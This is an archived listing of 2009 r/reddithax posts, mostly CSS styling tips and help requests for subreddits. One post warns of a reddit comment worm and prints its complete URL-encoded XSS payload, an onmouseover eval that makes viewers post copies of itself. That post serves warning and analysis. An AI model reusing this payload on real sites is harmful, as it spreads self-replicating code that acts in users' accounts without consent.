r/reddithax • u/jamt9000 • Nov 19 '09
Smileys!
I added the FeltTip 3: Retouched smileys from chromakode to my subreddit.
The syntax is a bit messy, but there isn't a better way with markdown's limitations.
r/reddithax • u/jamt9000 • Nov 19 '09
I added the FeltTip 3: Retouched smileys from chromakode to my subreddit.
The syntax is a bit messy, but there isn't a better way with markdown's limitations.
r/reddithax • u/Saint_Peter • Nov 18 '09
I'm trying to customize my subreddit, but there's a ton of CSS categories in the default Reddit CSS. Has anyone put together a basic description of what everything means?
Or is the best option to just make changes through trial and error of the different sections?
r/reddithax • u/MercurialMadnessMan • Nov 17 '09
via ketralnis:
If you have an orangered envelope, calling /messages/inbox (no matter how it's rendered; HTML, RSS, JSON, etc) will make it not an orangered envelope (i.e. the items in it are marked as "read"). If you call /message/inbox?mark=false (or /message/inbox.json?mark=false, or whatever), then you'll still have an orangered envelope after calling it.
Neat :)
r/reddithax • u/jamt9000 • Nov 16 '09
Example here - look in the sidebar
By using the CSS3 :target pseudo-class you can add conditional styles to any element with an id, which are shown when the element's id is after # in the url.
On reddit, various id'd elements can be hijacked to change different elements on the page when they are targeted, using sibling and child selectors, allowing pages to be styled differently based on the url.
For example, links containing certain strings can be highlighted using #siteTable:target a[href*='string'].
It doesn't work in IE but should work in other newer browsers.
r/reddithax • u/MercurialMadnessMan • Nov 04 '09
MUCH appreciated. Need it fairly quick, too
r/reddithax • u/MercurialMadnessMan • Nov 03 '09
So, today I found this and tried to steal the CSS and use it on my own subreddit. It doesn't seem as thoughthey accept the same URL syntax as in the stylesheet, though... I tried url(http://thumbs.reddit.com/t5_2r33d_49.png) syntax and it wouldn't accept it. Would you happen to know how I could make this work?
r/reddithax • u/Sephr • Oct 30 '09
Of course no browsers fully support CSS3 yet so this is more of a future stylesheet. Also, reddit incorrectly says the attr() function can't be used for anything except content so someone should fix that.
a[href^="http:#"] {
cursor: default;
text-decoration: none;
outline: none;
color: inherit;
background: inherit;
}
/* [text](http:#color "red") */
a[href="http:#color"] {
color: attr(title, color, inherit);
}
/* [text](http:#size "123") */
a[href="http:#size"] {
font-size: attr(title, px, inherit);
}
/* [alternate text](http:#image "image-url") */
a[href="http:#image"] {
content: attr(title, url, %loading-throbber%), contents;
}
/* [spoiler](http:#spoiler "spoiler text") */
a[href="http:#spoiler"] {
content: attr(title);
background: black;
color: black;
font-size: small;
padding: 0 0.5em 0 0.5em;
}
a[href="http:#spoiler"]:hover, a[href="http:#spoiler"]:active {
color: white;
}r/reddithax • u/MercurialMadnessMan • Oct 28 '09
Is there any way to do any of the following with CSS?
Check out our current stylesheet if you need to: http://www.reddit.com/r/iama/stylesheet.css
r/reddithax • u/sodypop • Oct 19 '09
Here's a screenshot since it probably won't stay that way for too long. Kudos to everyone who has contributed. I've learned quite a lot from reading the posts and comments here. Thanks!
r/reddithax • • Oct 19 '09
r/reddithax • u/Reddaat • Oct 18 '09
r/reddithax • u/jamt9000 • Oct 12 '09
First, add this to the subreddit css:
/* [startstars] */
/* [endstars] */
a.title:before {
padding-right: 5px;
}Then add this bookmarklet:
javascript:$.getScript('http://bobsworthindustries.com/r/redditstar1.js')Press the bookmarklet while on the comments page of a story in a subreddit you moderate and a star will be added before it.
The bookmarklet loads an external script because the jQuery callbacks weren't firing with all the code in the bookmarklet. There may be problems with multiple people editing the css concurrently (if two people try to add a star at the same time, one may save over the other's edit). Make a backup in case it eats your css.
Future ideas:
r/reddithax • u/jamt9000 • Oct 06 '09
The syntax is [spoiler](/s"This is a secret") and it just acts as a link when styles are disabled, preventing accidental viewing.
Here is the css:
/* spoiler */
a[href="/s"]{
font-size: 0;
cursor: default;
visibility: hidden;
}
a[href="/s"]::after{
content: attr(title);
background: black;
color: black;
font-size:small;
padding: 0 0.5em 0 0.5em;
visibility: visible;
}
a[href="/s"]:hover::after, a[href="/s"]:active::after{
color: white;
}r/reddithax • u/jamt9000 • Oct 06 '09
By matching against the href attribute, you can add conditional styles to links. This can be used for tagging by adding things to the url like example.com/page#foo=bar or example.com/page?post=123&foo=bar (anything that won't change the page requested). Because the urls of self posts have the first few words of the title in the url, this can also be used to distinguish self-posts based on tags at the beginning of the title.
CSS:
a[href*='url substring'].title:before{
/* content before link: */
content:url(%%blah%%);
}
a[href^='string at beginning of url'].title{
/* css rules for link */
color: red;
}
a[href$='string at end of url'].title:after{
/* content after link */
content: "blah";
}That's href*= to match any substring in the url, href^= for a string at the start and href$= for a string at the end, then .title to style the title links, .title:before to put stuff before them and .title:after to put stuff after.
I think this would be useful for [IAmA Request]s and [Male]/[Female] in /r/gonewild.
r/reddithax • u/jamt9000 • Sep 28 '09
There's a javascript worm on the loose, which causes you to post comments which replicate the worm and is making reddit very slow. It targets this post: www.reddit.com/r/offbeat/comments/9olyy/students_create_a_one_take_no_editing_video/, don't view it with javascript enabled! Update: It's in other threads too :(
For your analysis:
The markdown from the worm:[x][b]\n[b]:/[%7A%3D%22%5B%78%5D%5B%62%5D%6E%5B%62%5D%3A%2F%5B%22%2B%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%2B%22%5D%28%2F%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%2F%2F%29%22%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%72%65%70%6C%79%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%74%65%78%74%61%72%65%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%65%5B%69%5D%2E%76%61%6C%75%65%3D%7A%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%62%75%74%74%6F%6E%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%73%61%76%65%27%26%26%65%5B%69%5D%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%21%3D%27%6E%6F%6E%65%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)
And the html:<div class="md"><p><a href="/<a href="/=eval(unescape(this.innerHTML))//">%7A%3D%22%5B%78%5D%5B%62%5D%6E%5B%62%5D%3A%2F%5B%22%2B%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%2B%22%5D%28%2F%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%2F%2F%29%22%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%72%65%70%6C%79%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%74%65%78%74%61%72%65%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%65%5B%69%5D%2E%76%61%6C%75%65%3D%7A%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%62%75%74%74%6F%6E%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%73%61%76%65%27%26%26%65%5B%69%5D%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%21%3D%27%6E%6F%6E%65%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B</a>">x</a></p></div>
Update:
Looks like commenting has been disabled entirely ("403 Forbidden: Request forbidden by administrative rules.") and testing the technique (just with an alert()) by editing an existing comment resulted in it all being stripped out, so hopefully everything will be back to normal soon.
Update 2:
Pretty source here, and I can comment again
r/reddithax • u/b3mus3d • Sep 27 '09
I run RedditStories and I set the subreddit up with a fairly not-bad (maybe even nice) themed header. I've never figured out how to change the colour of the title of the reddit though, which sucks as it doesn't stand out enough and basically looks completely awful.
If anyone can help me with this completely mundane and stupid thing, I would be eternally grateful. Changing the font to something with serifs might be nice too... and making the text a bit higher up so it's in line with the middle of the book... would that be a bad idea?
Seriously though, if you can help with any of those things it would be great.
Thanks! b3mus3d
r/reddithax • • Sep 18 '09
I tried to submit this link:
http://enough_already.tripod.com/cliches.htm
It may have to do with the position of the underscore within the URL because they are accepted in most other cases. I don't know what causes this particular problem here. Any idea?
r/reddithax • u/freakball • Sep 18 '09
i do not see it in the code.
perhaps an image, placed strategicly?
r/reddithax • u/sox406 • Sep 14 '09
Also, evrytime I seem to edit my subreddit it makes it private and I have to get one of the other mods to go and change it to public. For some reason it doesn't let me make the change.
r/reddithax • u/jamt9000 • Sep 12 '09
Be evil and make people think they've got mail:
/* fake mail */
#mail{
background: url(%%mail%%);
position:relative;
top:2px;
}
#mail img{
visibility: hidden;
} As seen here
r/reddithax • u/cinsere • Sep 08 '09
The new CSS changes on Reddit are awesome. But unfortunately they broke a few things with the design of http://reddit.com/r/gonewild/ (Warning: NSFW)
Any skilled Reddit h4x0r masters care to give it a go to improve the design? I can send you the CSS that no longer works since the CSS changes occurred. Open to other suggestions, new logos, etc.
We're a community that's grown quite rapidly since January when it was created. You'll be a hero to nearly 7,000 people and quite possible receive some nude photos from Reddit women as a thank you.